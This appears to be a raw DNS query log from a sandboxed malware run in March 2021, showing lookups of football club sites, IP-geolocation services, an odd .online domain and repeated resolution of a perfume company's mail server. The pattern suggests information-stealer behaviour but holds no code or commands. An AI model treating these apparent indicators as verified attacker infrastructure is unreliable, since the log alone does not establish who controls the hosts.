Mar 3, 2021 07:33:18.214960098 CET	8.8.8.8	192.168.2.4	0x3feb	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:18.414529085 CET	8.8.8.8	192.168.2.4	0x9c89	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:18.460753918 CET	8.8.8.8	192.168.2.4	0x1b56	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.460753918 CET	8.8.8.8	192.168.2.4	0x1b56	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.491153002 CET	8.8.8.8	192.168.2.4	0x91b9	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:21.912770987 CET	8.8.8.8	192.168.2.4	0xe23d	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:22.001106024 CET	8.8.8.8	192.168.2.4	0x66b3	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:22.229645014 CET	8.8.8.8	192.168.2.4	0xdc9b	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:22.318089962 CET	8.8.8.8	192.168.2.4	0xd077	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:22.516659021 CET	8.8.8.8	192.168.2.4	0x8cbf	No error (0)	0k10dk21kkeok2e.online		172.67.179.188	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:22.516659021 CET	8.8.8.8	192.168.2.4	0x8cbf	No error (0)	0k10dk21kkeok2e.online		104.21.59.148	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.289423943 CET	8.8.8.8	192.168.2.4	0x42e7	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:28.289423943 CET	8.8.8.8	192.168.2.4	0x42e7	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.289423943 CET	8.8.8.8	192.168.2.4	0x42e7	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.289423943 CET	8.8.8.8	192.168.2.4	0x42e7	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.289423943 CET	8.8.8.8	192.168.2.4	0x42e7	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.415400028 CET	8.8.8.8	192.168.2.4	0x72f	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:28.415400028 CET	8.8.8.8	192.168.2.4	0x72f	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.415400028 CET	8.8.8.8	192.168.2.4	0x72f	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.415400028 CET	8.8.8.8	192.168.2.4	0x72f	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.415400028 CET	8.8.8.8	192.168.2.4	0x72f	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.673571110 CET	8.8.8.8	192.168.2.4	0x5369	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:28.673571110 CET	8.8.8.8	192.168.2.4	0x5369	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.673571110 CET	8.8.8.8	192.168.2.4	0x5369	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.673571110 CET	8.8.8.8	192.168.2.4	0x5369	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.673571110 CET	8.8.8.8	192.168.2.4	0x5369	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.749480009 CET	8.8.8.8	192.168.2.4	0xbbb4	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:28.749480009 CET	8.8.8.8	192.168.2.4	0xbbb4	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.749480009 CET	8.8.8.8	192.168.2.4	0xbbb4	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.749480009 CET	8.8.8.8	192.168.2.4	0xbbb4	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.749480009 CET	8.8.8.8	192.168.2.4	0xbbb4	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.953452110 CET	8.8.8.8	192.168.2.4	0x63f7	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:29.020746946 CET	8.8.8.8	192.168.2.4	0x3d17	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:29.334115982 CET	8.8.8.8	192.168.2.4	0x166e	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:29.417547941 CET	8.8.8.8	192.168.2.4	0x2795	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:30.213105917 CET	8.8.8.8	192.168.2.4	0x748	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:30.284377098 CET	8.8.8.8	192.168.2.4	0x933e	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:30.460227966 CET	8.8.8.8	192.168.2.4	0xac36	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:30.543412924 CET	8.8.8.8	192.168.2.4	0x1aad	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:30.700206041 CET	8.8.8.8	192.168.2.4	0xa0af	Name error (3)	0k10dk21kkeok2e.online	none	none	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.789995909 CET	8.8.8.8	192.168.2.4	0x1c1f	Name error (3)	0k10dk21kkeok2e.online	none	none	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.860234976 CET	8.8.8.8	192.168.2.4	0xcd9d	No error (0)	0k10dk21kkeok2e.online		172.67.179.188	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.860234976 CET	8.8.8.8	192.168.2.4	0xcd9d	No error (0)	0k10dk21kkeok2e.online		104.21.59.148	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:38.855547905 CET	8.8.8.8	192.168.2.4	0x92e4	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:38.855547905 CET	8.8.8.8	192.168.2.4	0x92e4	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:39.902582884 CET	8.8.8.8	192.168.2.4	0xca5f	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:39.902582884 CET	8.8.8.8	192.168.2.4	0xca5f	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:43.525887012 CET	8.8.8.8	192.168.2.4	0x3701	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:43.525887012 CET	8.8.8.8	192.168.2.4	0x3701	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:45.084351063 CET	8.8.8.8	192.168.2.4	0x7e41	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:45.084351063 CET	8.8.8.8	192.168.2.4	0x7e41	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.211906910 CET	8.8.8.8	192.168.2.4	0xcf2d	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:46.211906910 CET	8.8.8.8	192.168.2.4	0xcf2d	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.211906910 CET	8.8.8.8	192.168.2.4	0xcf2d	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.211906910 CET	8.8.8.8	192.168.2.4	0xcf2d	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.211906910 CET	8.8.8.8	192.168.2.4	0xcf2d	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.310463905 CET	8.8.8.8	192.168.2.4	0x419f	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:46.310463905 CET	8.8.8.8	192.168.2.4	0x419f	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.310463905 CET	8.8.8.8	192.168.2.4	0x419f	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.310463905 CET	8.8.8.8	192.168.2.4	0x419f	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.310463905 CET	8.8.8.8	192.168.2.4	0x419f	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.457242012 CET	8.8.8.8	192.168.2.4	0xb2e3	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:46.457242012 CET	8.8.8.8	192.168.2.4	0xb2e3	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.457242012 CET	8.8.8.8	192.168.2.4	0xb2e3	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.457242012 CET	8.8.8.8	192.168.2.4	0xb2e3	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.457242012 CET	8.8.8.8	192.168.2.4	0xb2e3	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.624591112 CET	8.8.8.8	192.168.2.4	0x11d4	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:46.624591112 CET	8.8.8.8	192.168.2.4	0x11d4	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.624591112 CET	8.8.8.8	192.168.2.4	0x11d4	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.624591112 CET	8.8.8.8	192.168.2.4	0x11d4	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.624591112 CET	8.8.8.8	192.168.2.4	0x11d4	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.148020983 CET	8.8.8.8	192.168.2.4	0xabfc	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.245492935 CET	8.8.8.8	192.168.2.4	0x7142	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.423557043 CET	8.8.8.8	192.168.2.4	0x926b	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.508368015 CET	8.8.8.8	192.168.2.4	0xbde8	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.816179991 CET	8.8.8.8	192.168.2.4	0xc803	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.816179991 CET	8.8.8.8	192.168.2.4	0xc803	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.930784941 CET	8.8.8.8	192.168.2.4	0xf00d	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:47.930784941 CET	8.8.8.8	192.168.2.4	0xf00d	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.404227018 CET	8.8.8.8	192.168.2.4	0x2e92	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:48.404227018 CET	8.8.8.8	192.168.2.4	0x2e92	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.404227018 CET	8.8.8.8	192.168.2.4	0x2e92	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.404227018 CET	8.8.8.8	192.168.2.4	0x2e92	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.404227018 CET	8.8.8.8	192.168.2.4	0x2e92	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.485964060 CET	8.8.8.8	192.168.2.4	0xad35	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:48.485964060 CET	8.8.8.8	192.168.2.4	0xad35	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.485964060 CET	8.8.8.8	192.168.2.4	0xad35	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.485964060 CET	8.8.8.8	192.168.2.4	0xad35	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.485964060 CET	8.8.8.8	192.168.2.4	0xad35	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.638396978 CET	8.8.8.8	192.168.2.4	0xb445	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:48.638396978 CET	8.8.8.8	192.168.2.4	0xb445	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.638396978 CET	8.8.8.8	192.168.2.4	0xb445	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.638396978 CET	8.8.8.8	192.168.2.4	0xb445	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.638396978 CET	8.8.8.8	192.168.2.4	0xb445	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.702945948 CET	8.8.8.8	192.168.2.4	0x3e6a	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:48.702945948 CET	8.8.8.8	192.168.2.4	0x3e6a	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.702945948 CET	8.8.8.8	192.168.2.4	0x3e6a	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.702945948 CET	8.8.8.8	192.168.2.4	0x3e6a	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.702945948 CET	8.8.8.8	192.168.2.4	0x3e6a	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:49.167685986 CET	8.8.8.8	192.168.2.4	0xcfcf	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:49.263853073 CET	8.8.8.8	192.168.2.4	0x50ce	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:49.502974987 CET	8.8.8.8	192.168.2.4	0xf6ee	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:49.743415117 CET	8.8.8.8	192.168.2.4	0x2d1	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:50.463593006 CET	8.8.8.8	192.168.2.4	0x77a8	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:50.463593006 CET	8.8.8.8	192.168.2.4	0x77a8	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:51.414638042 CET	8.8.8.8	192.168.2.4	0xe5f1	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:51.414638042 CET	8.8.8.8	192.168.2.4	0xe5f1	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:54.031616926 CET	8.8.8.8	192.168.2.4	0x4b68	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:54.031616926 CET	8.8.8.8	192.168.2.4	0x4b68	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:54.992670059 CET	8.8.8.8	192.168.2.4	0xfee7	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:54.992670059 CET	8.8.8.8	192.168.2.4	0xfee7	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:57.754899979 CET	8.8.8.8	192.168.2.4	0x31c7	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:57.754899979 CET	8.8.8.8	192.168.2.4	0x31c7	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:58.926964998 CET	8.8.8.8	192.168.2.4	0x5a43	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:58.926964998 CET	8.8.8.8	192.168.2.4	0x5a43	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:01.598763943 CET	8.8.8.8	192.168.2.4	0x30c5	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:01.598763943 CET	8.8.8.8	192.168.2.4	0x30c5	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:02.705902100 CET	8.8.8.8	192.168.2.4	0x7052	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:02.705902100 CET	8.8.8.8	192.168.2.4	0x7052	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:05.439433098 CET	8.8.8.8	192.168.2.4	0x96b5	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:05.439433098 CET	8.8.8.8	192.168.2.4	0x96b5	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:05.531305075 CET	8.8.8.8	192.168.2.4	0xc19a	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:05.531305075 CET	8.8.8.8	192.168.2.4	0xc19a	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:08.135585070 CET	8.8.8.8	192.168.2.4	0xc9f4	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:08.135585070 CET	8.8.8.8	192.168.2.4	0xc9f4	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:08.223766088 CET	8.8.8.8	192.168.2.4	0xf271	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:08.223766088 CET	8.8.8.8	192.168.2.4	0xf271	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:10.691195965 CET	8.8.8.8	192.168.2.4	0x8297	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:10.691195965 CET	8.8.8.8	192.168.2.4	0x8297	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:11.428154945 CET	8.8.8.8	192.168.2.4	0xd52a	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:11.428154945 CET	8.8.8.8	192.168.2.4	0xd52a	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:14.045253992 CET	8.8.8.8	192.168.2.4	0x24cd	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:14.045253992 CET	8.8.8.8	192.168.2.4	0x24cd	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:15.409730911 CET	8.8.8.8	192.168.2.4	0xac05	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:15.409730911 CET	8.8.8.8	192.168.2.4	0xac05	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:18.248436928 CET	8.8.8.8	192.168.2.4	0x6840	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:18.248436928 CET	8.8.8.8	192.168.2.4	0x6840	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:19.561146975 CET	8.8.8.8	192.168.2.4	0x9c55	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:19.561146975 CET	8.8.8.8	192.168.2.4	0x9c55	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:22.537813902 CET	8.8.8.8	192.168.2.4	0x89a1	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:22.537813902 CET	8.8.8.8	192.168.2.4	0x89a1	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.720048904 CET	8.8.8.8	192.168.2.4	0x8d2f	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.770189047 CET	8.8.8.8	192.168.2.4	0x6946	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.879146099 CET	8.8.8.8	192.168.2.4	0x3b6c	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:23.879146099 CET	8.8.8.8	192.168.2.4	0x3b6c	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:24.400877953 CET	8.8.8.8	192.168.2.4	0x19d6	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:24.400877953 CET	8.8.8.8	192.168.2.4	0x19d6	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:26.853717089 CET	8.8.8.8	192.168.2.4	0x27d9	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:26.853717089 CET	8.8.8.8	192.168.2.4	0x27d9	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:28.178060055 CET	8.8.8.8	192.168.2.4	0x550	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:28.178060055 CET	8.8.8.8	192.168.2.4	0x550	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
